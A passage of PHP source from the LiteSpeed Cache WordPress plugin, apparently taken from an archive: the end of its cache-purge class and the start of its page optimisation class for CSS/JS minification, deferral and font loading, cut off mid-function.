1.0.0 * @param int $pid Post ID. * @return void */ public function purge_post( $pid ) { $pid = (int) $pid; // Ignore the status we don't care. $status = get_post_status( $pid ); if ( ! $pid || ! in_array( $status, [ 'publish', 'trash', 'private', 'draft' ], true ) ) { return; } $purge_tags = $this->_get_purge_tags_by_post( $pid ); if ( ! $purge_tags ) { return; } self::add( $purge_tags ); if ( $this->conf( self::O_CACHE_REST ) ) { self::add( Tag::TYPE_REST ); } do_action( 'litespeed_purged_post', $pid ); } /** * Purge a widget by ID (or discover Recent Comments widget). * * Hooked to load-widgets.php. * * @since 1.1.3 * @param string|null $widget_id Widget ID. * @return void */ public static function purge_widget( $widget_id = null ) { if ( null === $widget_id ) { if ( empty( $_POST['widget-id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing return; } $widget_id = sanitize_text_field( wp_unslash( $_POST['widget-id'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( '' === $widget_id ) { return; } } self::add( Tag::TYPE_WIDGET . $widget_id ); self::add_private( Tag::TYPE_WIDGET . $widget_id ); do_action( 'litespeed_purged_widget', $widget_id ); } /** * Purges the comment widget when the count is updated. * * @since 1.1.3 * @global \WP_Widget_Factory $wp_widget_factory * @return void */ public static function purge_comment_widget() { global $wp_widget_factory; if ( ! isset( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'] ) ) { return; } $recent_comments = $wp_widget_factory->widgets['WP_Widget_Recent_Comments']; if ( null !== $recent_comments ) { self::add( Tag::TYPE_WIDGET . $recent_comments->id ); self::add_private( Tag::TYPE_WIDGET . $recent_comments->id ); do_action( 'litespeed_purged_comment_widget', $recent_comments->id ); } } /** * Purges feeds on comment count update. * * @since 1.0.9 * @return void */ public function purge_feeds() { if ( $this->conf( self::O_CACHE_TTL_FEED ) > 0 ) { self::add( Tag::TYPE_FEED ); } do_action( 'litespeed_purged_feeds' ); } /** * Purges all private cache entries when the user logs out. * * @since 1.1.3 * @return void */ public static function purge_on_logout() { self::add_private_all(); do_action( 'litespeed_purged_on_logout' ); } /** * Finalize purge tags before output. * * @since 1.1.3 * @return void */ private function _finalize() { if ( ! defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { define( 'LITESPEED_DID_' . __FUNCTION__, true ); } else { return; } do_action( 'litespeed_purge_finalize' ); // Append unique uri purge tags if Admin QS is `PURGESINGLE` or `PURGE`. if ( $this->_purge_single ) { $tags = [ Tag::build_uri_tag() ]; $this->_pub_purge = array_merge( $this->_pub_purge, $this->_prepend_bid( $tags ) ); } if ( ! empty( $this->_pub_purge ) ) { $this->_pub_purge = array_unique( $this->_pub_purge ); } if ( ! empty( $this->_priv_purge ) ) { $this->_priv_purge = array_unique( $this->_priv_purge ); } } /** * Gather and return purge header string. * * @since 1.1.0 * @return string Purge header line. */ public static function output() { $instance = self::cls(); $instance->_finalize(); return $instance->_build(); } /** * Build the current purge header(s). * * @since 1.1.5 * @param bool $purge2 Whether to build X-LiteSpeed-Purge2. * @return string Purge header line. */ private function _build( $purge2 = false ) { if ( $purge2 ) { if ( empty( $this->_pub_purge2 ) ) { return ''; } } elseif ( empty( $this->_pub_purge ) && empty( $this->_priv_purge ) ) { return ''; } $purge_header = ''; $private_prefix = self::X_HEADER . ': private,'; // Handle purge2. if ( $purge2 ) { $public_tags = $this->_append_prefix( $this->_pub_purge2 ); if ( empty( $public_tags ) ) { return ''; } $purge_header = self::X_HEADER2 . ': public,'; if ( Control::is_stale() ) { $purge_header .= 'stale,'; } $purge_header .= implode( ',', $public_tags ); return $purge_header; } if ( ! empty( $this->_pub_purge ) ) { $public_tags = $this->_append_prefix( $this->_pub_purge ); if ( empty( $public_tags ) ) { return ''; // If this ends up empty, private will also end up empty } $purge_header = self::X_HEADER . ': public,'; if ( Control::is_stale() ) { $purge_header .= 'stale,'; } $purge_header .= implode( ',', $public_tags ); $private_prefix = ';private,'; } // Private purge tags. if ( ! empty( $this->_priv_purge ) ) { $private_tags = $this->_append_prefix( $this->_priv_purge, true ); $purge_header .= $private_prefix . implode( ',', $private_tags ); } return $purge_header; } /** * Append LS tag prefix to tags; handle '*' across network. * * @since 1.1.0 * @param array<int,string> $purge_tags Tags. * @param bool $is_private Private tags. * @return array<int,string> */ private function _append_prefix( $purge_tags, $is_private = false ) { $curr_bid = is_multisite() ? get_current_blog_id() : ''; $purge_tags = apply_filters( 'litespeed_purge_tags', $purge_tags, $is_private ); if ( ! in_array( '*', $purge_tags, true ) ) { $tags = []; foreach ( $purge_tags as $val ) { $tags[] = LSWCP_TAG_PREFIX . $val; } return $tags; } // Purge All: maybe reset crawler. if ( ! $is_private && $this->conf( self::O_CRAWLER ) ) { Crawler::cls()->reset_pos(); } if ( ( defined( 'LSWCP_EMPTYCACHE' ) && LSWCP_EMPTYCACHE ) || $is_private ) { return [ '*' ]; } if ( is_multisite() && ! $this->_is_subsite_purge() ) { $blogs = Activation::get_network_ids(); if ( empty( $blogs ) ) { self::debug( 'build_purge_headers: blog list is empty' ); return []; } $tags = []; foreach ( $blogs as $blog_id ) { $tags[] = LSWCP_TAG_PREFIX . $blog_id . '_'; } return $tags; } return [ LSWCP_TAG_PREFIX . $curr_bid . '_' ]; } /** * Check if this is a subsite purge in multisite. * * @since 4.0 * @return bool */ private function _is_subsite_purge() { if ( ! is_multisite() ) { return false; } if ( is_network_admin() ) { return false; } if ( defined( 'LSWCP_EMPTYCACHE' ) && LSWCP_EMPTYCACHE ) { return false; } // Ajax network contexts. if ( Router::is_ajax() && ( check_ajax_referer( 'updates', false, false ) || check_ajax_referer( 'litespeed-purgeall-network', false, false ) ) ) { return false; } return true; } /** * Get purge tags related to a post. * * @since 1.0.0 * @param int $post_id Post ID. * @return array<int,string> */ private function _get_purge_tags_by_post( $post_id ) { if ( $this->conf( self::O_PURGE_POST_ALL ) ) { return [ '*' ]; } do_action( 'litespeed_api_purge_post', $post_id ); $purge_tags = []; // Post itself. $purge_tags[] = Tag::TYPE_POST . $post_id; $post_status = get_post_status( $post_id ); if ( function_exists( 'is_post_status_viewable' ) && is_post_status_viewable( $post_status ) ) { $purge_tags[] = Tag::get_uri_tag( wp_make_link_relative( get_permalink( $post_id ) ) ); } // Avoid overriding global $post: use explicit post object. $the_post = get_post( $post_id ); $post_type = $the_post ? $the_post->post_type : ''; // Widgets: recent posts. global $wp_widget_factory; $recent_posts = isset( $wp_widget_factory->widgets['WP_Widget_Recent_Posts'] ) ? $wp_widget_factory->widgets['WP_Widget_Recent_Posts'] : null; if ( null !== $recent_posts ) { $purge_tags[] = Tag::TYPE_WIDGET . $recent_posts->id; } // get adjacent posts id as related post tag if ( 'post' === $post_type ) { $prev_post = get_previous_post(); $next_post = get_next_post(); if ( ! empty( $prev_post->ID ) ) { $purge_tags[] = Tag::TYPE_POST . $prev_post->ID; self::debug( '--------purge_tags prev is: ' . $prev_post->ID ); } if ( ! empty( $next_post->ID ) ) { $purge_tags[] = Tag::TYPE_POST . $next_post->ID; self::debug( '--------purge_tags next is: ' . $next_post->ID ); } } if ( $this->conf( self::O_PURGE_POST_TERM ) ) { $taxonomies = get_object_taxonomies( $post_type ); // self::debug('purge by post, check tax = ' . var_export($taxonomies, true)); foreach ( $taxonomies as $tax ) { $terms = get_the_terms( $post_id, $tax ); if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $purge_tags[] = Tag::TYPE_ARCHIVE_TERM . $term->term_id; } } } } if ( $this->conf( self::O_CACHE_TTL_FEED ) ) { $purge_tags[] = Tag::TYPE_FEED; } // Author archives. if ( $this->conf( self::O_PURGE_POST_AUTHOR ) ) { $purge_tags[] = Tag::TYPE_AUTHOR . get_post_field( 'post_author', $post_id ); } // Post type archives. if ( $this->conf( self::O_PURGE_POST_POSTTYPE ) && get_post_type_archive_link( $post_type ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_POSTTYPE . $post_type; $purge_tags[] = $post_type; } if ( $this->conf( self::O_PURGE_POST_FRONTPAGE ) ) { $purge_tags[] = Tag::TYPE_FRONTPAGE; } if ( $this->conf( self::O_PURGE_POST_HOMEPAGE ) ) { $purge_tags[] = Tag::TYPE_HOME; } if ( $this->conf( self::O_PURGE_POST_PAGES ) ) { $purge_tags[] = Tag::TYPE_PAGES; } if ( $this->conf( self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS ) ) { $purge_tags[] = Tag::TYPE_PAGES_WITH_RECENT_POSTS; } // Date archives (use gmdate as per WPCS). $date_gmt = $the_post ? strtotime( $the_post->post_date_gmt ) : false; if ( $date_gmt ) { if ( $this->conf( self::O_PURGE_POST_DATE ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Ymd', $date_gmt ); } if ( $this->conf( self::O_PURGE_POST_MONTH ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Ym', $date_gmt ); } if ( $this->conf( self::O_PURGE_POST_YEAR ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Y', $date_gmt ); } } return array_unique( array_filter( $purge_tags ) ); } /** * Run a filter and also purge all (utility for hooks). * * @since 1.1.5 * @param string $val Filter value. * @return string Same value. */ public static function filter_with_purge_all( $val ) { self::purge_all(); return $val; } } ���������������������������������������������������������������������������������������������plugins/litespeed-cache/src/optimize.cls.php��������������������������������������������������������0000644�����������������00000115220�15233526476�0015202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The optimize class. * * @since 1.2.2 */ namespace LiteSpeed; defined('WPINC') || exit(); class Optimize extends Base { const LOG_TAG = '🎢'; const LIB_FILE_CSS_ASYNC = 'assets/js/css_async.min.js'; const LIB_FILE_WEBFONTLOADER = 'assets/js/webfontloader.min.js'; const LIB_FILE_JS_DELAY = 'assets/js/js_delay.min.js'; const ITEM_TIMESTAMP_PURGE_CSS = 'timestamp_purge_css'; const DUMMY_CSS_REGEX = "#<link [ \w='\"/]*id=['\"]litespeed-cache-dummy-css['\"] href=['\"].+assets/css/litespeed-dummy\.css[?\w.=-]*['\"][ \w='\"/]*>#isU"; private $content; private $content_ori; private $cfg_css_min; private $cfg_css_comb; private $cfg_js_min; private $cfg_js_comb; private $cfg_css_async; private $cfg_js_delay_inc = array(); private $cfg_js_defer; private $cfg_js_defer_exc = false; private $cfg_ggfonts_async; private $_conf_css_font_display; private $cfg_ggfonts_rm; private $dns_prefetch; private $dns_preconnect; private $_ggfonts_urls = array(); private $_ccss; private $_ucss = false; private $__optimizer; private $html_foot = ''; // The html info append to <body> private $html_head = ''; // The html info append to <head> private $html_head_early = ''; // The html info prepend to top of head private static $_var_i = 0; private $_var_preserve_js = array(); private $_request_url; /** * Constructor * * @since 4.0 */ public function __construct() { self::debug('init'); $this->__optimizer = $this->cls('Optimizer'); } /** * Init optimizer * * @since 3.0 * @access protected */ public function init() { $this->cfg_css_async = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_ASYNC); if ($this->cfg_css_async) { if (!$this->cls('Cloud')->activated()) { self::debug('❌ CCSS set to OFF due to QC not activated'); $this->cfg_css_async = false; } if ((defined('LITESPEED_GUEST_OPTM') || ($this->conf(self::O_OPTM_UCSS) && $this->conf(self::O_OPTM_CSS_COMB))) && $this->conf(self::O_OPTM_UCSS_INLINE)) { self::debug('⚠️ CCSS set to OFF due to UCSS Inline'); $this->cfg_css_async = false; } } $this->cfg_js_defer = $this->conf(self::O_OPTM_JS_DEFER); if (defined('LITESPEED_GUEST_OPTM')) { $this->cfg_js_defer = 2; } if ($this->cfg_js_defer == 2) { add_filter( 'litespeed_optm_cssjs', function ( $con, $file_type ) { if ($file_type == 'js') { $con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con); // $con = str_replace( 'addEventListener("load"', 'addEventListener("litespeedLoad"', $con ); } return $con; }, 20, 2 ); } // To remove emoji from WP if ($this->conf(self::O_OPTM_EMOJI_RM)) { $this->_emoji_rm(); } if ($this->conf(self::O_OPTM_QS_RM)) { add_filter('style_loader_src', array( $this, 'remove_query_strings' ), 999); add_filter('script_loader_src', array( $this, 'remove_query_strings' ), 999); } // GM JS exclude @since 4.1 if (defined('LITESPEED_GUEST_OPTM')) { $this->cfg_js_defer_exc = apply_filters('litespeed_optm_gm_js_exc', $this->conf(self::O_OPTM_GM_JS_EXC)); } else { /** * Exclude js from deferred setting * * @since 1.5 */ if ($this->cfg_js_defer) { add_filter('litespeed_optm_js_defer_exc', array( $this->cls('Data'), 'load_js_defer_exc' )); $this->cfg_js_defer_exc = apply_filters('litespeed_optm_js_defer_exc', $this->conf(self::O_OPTM_JS_DEFER_EXC)); $this->cfg_js_delay_inc = apply_filters('litespeed_optm_js_delay_inc', $this->conf(self::O_OPTM_JS_DELAY_INC)); } } // Add vary filter for Role Excludes @since 1.6 add_filter('litespeed_vary', array( $this, 'vary_add_role_exclude' )); // DNS optm (Prefetch/Preconnect) @since 7.3 $this->_dns_optm_init(); add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 20); // Inject a dummy CSS file to control final optimized data location in <head> wp_enqueue_style(Core::PLUGIN_NAME . '-dummy', LSWCP_PLUGIN_URL . 'assets/css/litespeed-dummy.css'); } /** * Exclude role from optimization filter * * @since 1.6 * @access public */ public function vary_add_role_exclude( $vary ) { if ($this->cls('Conf')->in_optm_exc_roles()) { $vary['role_exclude_optm'] = 1; } return $vary; } /** * Remove emoji from WP * * @since 1.4 * @since 2.9.8 Changed to private * @access private */ private function _emoji_rm() { remove_action('wp_head', 'print_emoji_detection_script', 7); remove_action('admin_print_scripts', 'print_emoji_detection_script'); remove_filter('the_content_feed', 'wp_staticize_emoji'); remove_filter('comment_text_rss', 'wp_staticize_emoji'); /** * Added for better result * * @since 1.6.2.1 */ remove_action('wp_print_styles', 'print_emoji_styles'); remove_action('admin_print_styles', 'print_emoji_styles'); remove_filter('wp_mail', 'wp_staticize_emoji_for_email'); } /** * Delete file-based cache folder * * @since 2.1 * @access public */ public function rm_cache_folder( $subsite_id = false ) { if ($subsite_id) { file_exists(LITESPEED_STATIC_DIR . '/css/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/css/' . $subsite_id); file_exists(LITESPEED_STATIC_DIR . '/js/' . $subsite_id) && File::rrmdir(LITESPEED_STATIC_DIR . '/js/' . $subsite_id); return; } file_exists(LITESPEED_STATIC_DIR . '/css') && File::rrmdir(LITESPEED_STATIC_DIR . '/css'); file_exists(LITESPEED_STATIC_DIR . '/js') && File::rrmdir(LITESPEED_STATIC_DIR . '/js'); } /** * Remove QS * * @since 1.3 * @access public */ public function remove_query_strings( $src ) { if (strpos($src, '_litespeed_rm_qs=0') || strpos($src, '/recaptcha')) { return $src; } if (!Utility::is_internal_file($src)) { return $src; } if (strpos($src, '.js?') !== false || strpos($src, '.css?') !== false) { $src = preg_replace('/\?.*/', '', $src); } return $src; } /** * Run optimize process * NOTE: As this is after cache finalized, can NOT set any cache control anymore * * @since 1.2.2 * @access public * @return string The content that is after optimization */ public function finalize( $content ) { $content = $this->_finalize($content); // Fallback to replace dummy css placeholder if (false !== preg_match(self::DUMMY_CSS_REGEX, $content)) { self::debug('Fallback to drop dummy CSS'); $content = preg_replace( self::DUMMY_CSS_REGEX, '', $content ); } return $content; } private function _finalize( $content ) { if (defined('LITESPEED_NO_PAGEOPTM')) { self::debug2('bypass: NO_PAGEOPTM const'); return $content; } if (!defined('LITESPEED_IS_HTML')) { self::debug('bypass: Not frontend HTML type'); return $content; } if (!defined('LITESPEED_GUEST_OPTM')) { if (!Control::is_cacheable()) { self::debug('bypass: Not cacheable'); return $content; } // Check if hit URI excludes add_filter('litespeed_optm_uri_exc', array( $this->cls('Data'), 'load_optm_uri_exc' )); $excludes = apply_filters('litespeed_optm_uri_exc', $this->conf(self::O_OPTM_EXC)); $result = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes); if ($result) { self::debug('bypass: hit URI Excludes setting: ' . $result); return $content; } } self::debug('start'); $this->content_ori = $this->content = $content; $this->_optimize(); return $this->content; } /** * Optimize css src * * @since 1.2.2 * @access private */ private function _optimize() { global $wp; // get current request url $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $this->_request_url = trailingslashit( home_url( $wp->request ) ); } else { $qs_add = $wp->query_string ? '?' . (string) $wp->query_string : '' ; $this->_request_url = home_url( $wp->request ) . $qs_add; } $this->cfg_css_min = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_MIN); $this->cfg_css_comb = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_COMB); $this->cfg_js_min = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_MIN); $this->cfg_js_comb = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_JS_COMB); $this->cfg_ggfonts_rm = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_GGFONTS_RM); $this->cfg_ggfonts_async = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_GGFONTS_ASYNC); // forced rm already $this->_conf_css_font_display = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_CSS_FONT_DISPLAY); if (!$this->cls('Router')->can_optm()) { self::debug('bypass: admin/feed/preview'); return; } if ($this->cfg_css_async) { $this->_ccss = $this->cls('CSS')->prepare_ccss(); if (!$this->_ccss) { self::debug('❌ CCSS set to OFF due to CCSS not generated yet'); $this->cfg_css_async = false; } elseif (strpos($this->_ccss, '<style id="litespeed-ccss" data-error') === 0) { self::debug('❌ CCSS set to OFF due to CCSS failed to generate'); $this->cfg_css_async = false; } } do_action('litespeed_optm'); // Parse css from content $src_list = false; if ($this->cfg_css_min || $this->cfg_css_comb || $this->cfg_ggfonts_rm || $this->cfg_css_async || $this->cfg_ggfonts_async || $this->_conf_css_font_display) { add_filter('litespeed_optimize_css_excludes', array( $this->cls('Data'), 'load_css_exc' )); list($src_list, $html_list) = $this->_parse_css(); } // css optimizer if ($this->cfg_css_min || $this->cfg_css_comb) { if ($src_list) { // IF combine if ($this->cfg_css_comb) { // Check if has inline UCSS enabled or not if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_UCSS)) && $this->conf(self::O_OPTM_UCSS_INLINE)) { $filename = $this->cls('UCSS')->load($this->_request_url, true); if ($filename) { $filepath_prefix = $this->_build_filepath_prefix('ucss'); $this->_ucss = File::read(LITESPEED_STATIC_DIR . $filepath_prefix . $filename); // Drop all css $this->content = str_replace($html_list, '', $this->content); } } if (!$this->_ucss) { $url = $this->_build_hash_url($src_list); if ($url) { // Handle css async load if ($this->cfg_css_async) { $this->html_head .= '<link rel="preload" data-asynced="1" data-optimized="2" as="style" onload="this.onload=null;this.rel=\'stylesheet\'" href="' . Str::trim_quotes($url) . '" />'; // todo: How to use " in attr wrapper " } else { $this->html_head .= '<link data-optimized="2" rel="stylesheet" href="' . Str::trim_quotes($url) . '" />'; // use 2 as combined } // Move all css to top $this->content = str_replace($html_list, '', $this->content); } } } // Only minify elseif ($this->cfg_css_min) { // will handle async css load inside $this->_src_queue_handler($src_list, $html_list); } // Only HTTP2 push else { foreach ($src_list as $src_info) { if (!empty($src_info['inl'])) { continue; } } } } } // Handle css lazy load if not handled async loaded yet if ($this->cfg_css_async && !$this->cfg_css_min && !$this->cfg_css_comb) { // async html $html_list_async = $this->_async_css_list($html_list, $src_list); // Replace async css $this->content = str_replace($html_list, $html_list_async, $this->content); } // Parse js from buffer as needed $src_list = false; if ($this->cfg_js_min || $this->cfg_js_comb || $this->cfg_js_defer || $this->cfg_js_delay_inc) { add_filter('litespeed_optimize_js_excludes', array( $this->cls('Data'), 'load_js_exc' )); list($src_list, $html_list) = $this->_parse_js(); } // js optimizer if ($src_list) { // IF combine if ($this->cfg_js_comb) { $url = $this->_build_hash_url($src_list, 'js'); if ($url) { $this->html_foot .= $this->_build_js_tag($url); // Will move all JS to bottom combined one $this->content = str_replace($html_list, '', $this->content); } } // Only minify elseif ($this->cfg_js_min) { // Will handle js defer inside $this->_src_queue_handler($src_list, $html_list, 'js'); } // Only HTTP2 push and Defer else { foreach ($src_list as $k => $src_info) { // Inline JS if (!empty($src_info['inl'])) { if ($this->cfg_js_defer) { $attrs = !empty($src_info['attrs']) ? $src_info['attrs'] : ''; $deferred = $this->_js_inline_defer($src_info['src'], $attrs); if ($deferred) { $this->content = str_replace($html_list[$k], $deferred, $this->content); } } } // JS files elseif ($this->cfg_js_defer) { $deferred = $this->_js_defer($html_list[$k], $src_info['src']); if ($deferred) { $this->content = str_replace($html_list[$k], $deferred, $this->content); } } elseif ($this->cfg_js_delay_inc) { $deferred = $this->_js_delay($html_list[$k], $src_info['src']); if ($deferred) { $this->content = str_replace($html_list[$k], $deferred, $this->content); } } } } } // Append JS inline var for preserved ESI // Shouldn't give any optm (defer/delay) @since 4.4 if ($this->_var_preserve_js) { $this->html_head .= '<script>var ' . implode(',', $this->_var_preserve_js) . ';</script>'; self::debug2('Inline JS defer vars', $this->_var_preserve_js); } // Append async compatibility lib to head if ($this->cfg_css_async) { // Inline css async lib if ($this->conf(self::O_OPTM_CSS_ASYNC_INLINE)) { $this->html_head .= $this->_build_js_inline(File::read(LSCWP_DIR . self::LIB_FILE_CSS_ASYNC), true); } else { $css_async_lib_url = LSWCP_PLUGIN_URL . self::LIB_FILE_CSS_ASYNC; $this->html_head .= $this->_build_js_tag($css_async_lib_url); // Don't exclude it from defer for now } } /** * Handle google fonts async * This will result in a JS snippet in head, so need to put it in the end to avoid being replaced by JS parser */ $this->_async_ggfonts(); /** * Font display optm * * @since 3.0 */ $this->_font_optm(); // Inject JS Delay lib $this->_maybe_js_delay(); /** * HTML Lazyload */ if ($this->conf(self::O_OPTM_HTML_LAZY)) { $this->html_head = $this->cls('CSS')->prepare_html_lazy() . $this->html_head; } // Maybe prepend inline UCSS if ($this->_ucss) { $this->html_head = '<style id="litespeed-ucss">' . $this->_ucss . '</style>' . $this->html_head; } // Check if there is any critical css rules setting if ($this->cfg_css_async && $this->_ccss) { $this->html_head = $this->_ccss . $this->html_head; } // Replace html head part $this->html_head_early = apply_filters('litespeed_optm_html_head_early', $this->html_head_early); if ($this->html_head_early) { // Put header content to be after charset if (false !== strpos($this->content, '<meta charset')) { self::debug('Put early optm data to be after <meta charset>'); $this->content = preg_replace('#<meta charset([^>]*)>#isU', '<meta charset$1>' . $this->html_head_early, $this->content, 1); } else { self::debug('Put early optm data to be right after <head>'); $this->content = preg_replace('#<head([^>]*)>#isU', '<head$1>' . $this->html_head_early, $this->content, 1); } } $this->html_head = apply_filters('litespeed_optm_html_head', $this->html_head); if ($this->html_head) { if (apply_filters('litespeed_optm_html_after_head', false)) { $this->content = str_replace('</head>', $this->html_head . '</head>', $this->content); } else { // Put header content to dummy css position if (false !== preg_match(self::DUMMY_CSS_REGEX, $this->content)) { self::debug('Put optm data to dummy css location'); $this->content = preg_replace( self::DUMMY_CSS_REGEX, $this->html_head, $this->content ); } // Fallback: try to be after charset elseif (strpos($this->content, '<meta charset') !== false) { self::debug('Put optm data to be after <meta charset>'); $this->content = preg_replace('#<meta charset([^>]*)>#isU', '<meta charset$1>' . $this->html_head, $this->content, 1); } else { self::debug('Put optm data to be after <head>'); $this->content = preg_replace('#<head([^>]*)>#isU', '<head$1>' . $this->html_head, $this->content, 1); } } } // Replace html foot part $this->html_foot = apply_filters('litespeed_optm_html_foot', $this->html_foot); if ($this->html_foot) { $this->content = str_replace('</body>', $this->html_foot . '</body>', $this->content); } // Drop noscript if enabled if ($this->conf(self::O_OPTM_NOSCRIPT_RM)) { // $this->content = preg_replace( '#<noscript>.*</noscript>#isU', '', $this->content ); } // Inline font-face optimize $this->content = $this->__optimizer->optm_font_face( $this->content ); // HTML minify if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_HTML_MIN)) { $this->content = $this->__optimizer->html_min($this->content); } } /** * Build a full JS tag * * @since 4.0 */ private function _build_js_tag( $src ) { if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { return '<script data-optimized="1" type="litespeed/javascript" data-src="' . Str::trim_quotes($src) . '"></script>'; } if ($this->cfg_js_defer) { return '<script data-optimized="1" src="' . Str::trim_quotes($src) . '" defer></script>'; } return '<script data-optimized="1" src="' . Str::trim_quotes($src) . '"></script>'; } /** * Build a full inline JS snippet * * @since 4.0 */ private function _build_js_inline( $script, $minified = false ) { if ($this->cfg_js_defer) { $deferred = $this->_js_inline_defer($script, false, $minified); if ($deferred) { return $deferred; } } return '<script>' . $script . '</script>'; } /** * Load JS delay lib * * @since 4.0 */ private function _maybe_js_delay() { if ($this->cfg_js_defer !== 2 && !$this->cfg_js_delay_inc) { return; } if (!defined('LITESPEED_JS_DELAY_LIB_LOADED')) { define('LITESPEED_JS_DELAY_LIB_LOADED', true); $this->html_foot .= '<script>' . File::read(LSCWP_DIR . self::LIB_FILE_JS_DELAY) . '</script>'; } } /** * Google font async * * @since 2.7.3 * @access private */ private function _async_ggfonts() { if (!$this->cfg_ggfonts_async || !$this->_ggfonts_urls) { return; } self::debug2('google fonts async found: ', $this->_ggfonts_urls); $this->html_head_early .= '<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin />'; /** * Append fonts * * Could be multiple fonts * * <link rel='stylesheet' href='//fonts.googleapis.com/css?family=Open+Sans%3A400%2C600%2C700%2C800%2C300&ver=4.9.8' type='text/css' media='all' /> * <link rel='stylesheet' href='//fonts.googleapis.com/css?family=PT+Sans%3A400%2C700%7CPT+Sans+Narrow%3A400%7CMontserrat%3A600&subset=latin&ver=4.9.8' type='text/css' media='all' /> * -> family: PT Sans:400,700|PT Sans Narrow:400|Montserrat:600 * <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,300,300italic,400italic,600,700,900&subset=latin%2Clatin-ext' /> */ $script = 'WebFontConfig={google:{families:['; $families = array(); foreach ($this->_ggfonts_urls as $v) { $qs = wp_specialchars_decode($v); $qs = urldecode($qs); $qs = parse_url($qs, PHP_URL_QUERY); parse_str($qs, $qs); if (empty($qs['family'])) { self::debug('ERR ggfonts failed to find family: ' . $v); continue; } $subset = empty($qs['subset']) ? '' : ':' . $qs['subset']; foreach (array_filter(explode('|', $qs['family'])) as $v2) { $families[] = Str::trim_quotes($v2 . $subset); } } $script .= '"' . implode('","', $families) . ($this->_conf_css_font_display ? '&display=swap' : '') . '"'; $script .= ']}};'; // if webfontloader lib was loaded before WebFontConfig variable, call WebFont.load $script .= 'if ( typeof WebFont === "object" && typeof WebFont.load === "function" ) { WebFont.load( WebFontConfig ); }'; $html = $this->_build_js_inline($script); // https://cdnjs.cloudflare.com/ajax/libs/webfont/1.6.28/webfontloader.js $webfont_lib_url = LSWCP_PLUGIN_URL . self::LIB_FILE_WEBFONTLOADER; // default async, if js defer set use defer $html .= $this->_build_js_tag($webfont_lib_url); // Put this in the very beginning for preconnect $this->html_head = $html . $this->html_head; } /** * Font optm * * @since 3.0 * @access private */ private function _font_optm() { if (!$this->_conf_css_font_display || !$this->_ggfonts_urls) { return; } self::debug2('google fonts optm ', $this->_ggfonts_urls); foreach ($this->_ggfonts_urls as $v) { if (strpos($v, 'display=')) { continue; } $this->html_head = str_replace($v, $v . '&display=swap', $this->html_head); $this->html_foot = str_replace($v, $v . '&display=swap', $this->html_foot); $this->content = str_replace($v, $v . '&display=swap', $this->content); } } /** * Prefetch DNS * * @since 1.7.1 DNS prefetch * @since 5.6.1 DNS preconnect * @access private */ private function _dns_optm_init() { // Widely enable link DNS prefetch if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_DNS_PREFETCH_CTRL)) { @header('X-DNS-Prefetch-Control: on'); } $this->dns_prefetch = $this->conf(self::O_OPTM_DNS_PREFETCH); $this->dns_preconnect = $this->conf(self::O_OPTM_DNS_PRECONNECT); if (!$this->dns_prefetch && !$this->dns_preconnect) { return; } if (function_exists('wp_resource_hints')) { add_filter('wp_resource_hints', array( $this, 'dns_optm_filter' ), 10, 2); } else { add_action('litespeed_optm', array( $this, 'dns_optm_output' )); } } /** * DNS optm hook for WP * * @since 1.7.1 * @access public */ public function dns_optm_filter( $urls, $relation_type ) { if ('dns-prefetch' === $relation_type) { foreach ($this->dns_prefetch as $v) { if ($v) { $urls[] = $v; } } } if ('preconnect' === $relation_type) { foreach ($this->dns_preconnect as $v) { if ($v) { $urls[] = $v; } } } return $urls; } /** * DNS optm output directly * * @since 1.7.1 DNS prefetch * @since 5.6.1 DNS preconnect * @access public */ public function dns_optm_output() { foreach ($this->dns_prefetch as $v) { if ($v) { $this->html_head_early .= '<link rel="dns-prefetch" href="' . Str::trim_quotes($v) . '" />'; } } foreach ($this->dns_preconnect as $v) { if ($v) { $this->html_head_early .= '<link rel="preconnect" href="' . Str::trim_quotes($v) . '" crossorigin />'; } } } /** * Run minify with src queue list * * @since 1.2.2 * @access private */ private function _src_queue_handler( $src_list, $html_list, $file_type = 'css' ) { $html_list_ori = $html_list; $can_webp = $this->cls('Media')->webp_support(); $tag = $file_type == 'css' ? 'link' : 'script'; foreach ($src_list as $key => $src_info) { // Minify inline CSS/JS if (!empty($src_info['inl'])) { if ($file_type == 'css') { $code = Optimizer::minify_css($src_info['src']); $can_webp && ($code = $this->cls('Media')->replace_background_webp($code)); $snippet = str_replace($src_info['src'], $code, $html_list[$key]); } else { // Inline defer JS if ($this->cfg_js_defer) { $attrs = !empty($src_info['attrs']) ? $src_info['attrs'] : ''; $snippet = $this->_js_inline_defer($src_info['src'], $attrs) ?: $html_list[$key]; } else { $code = 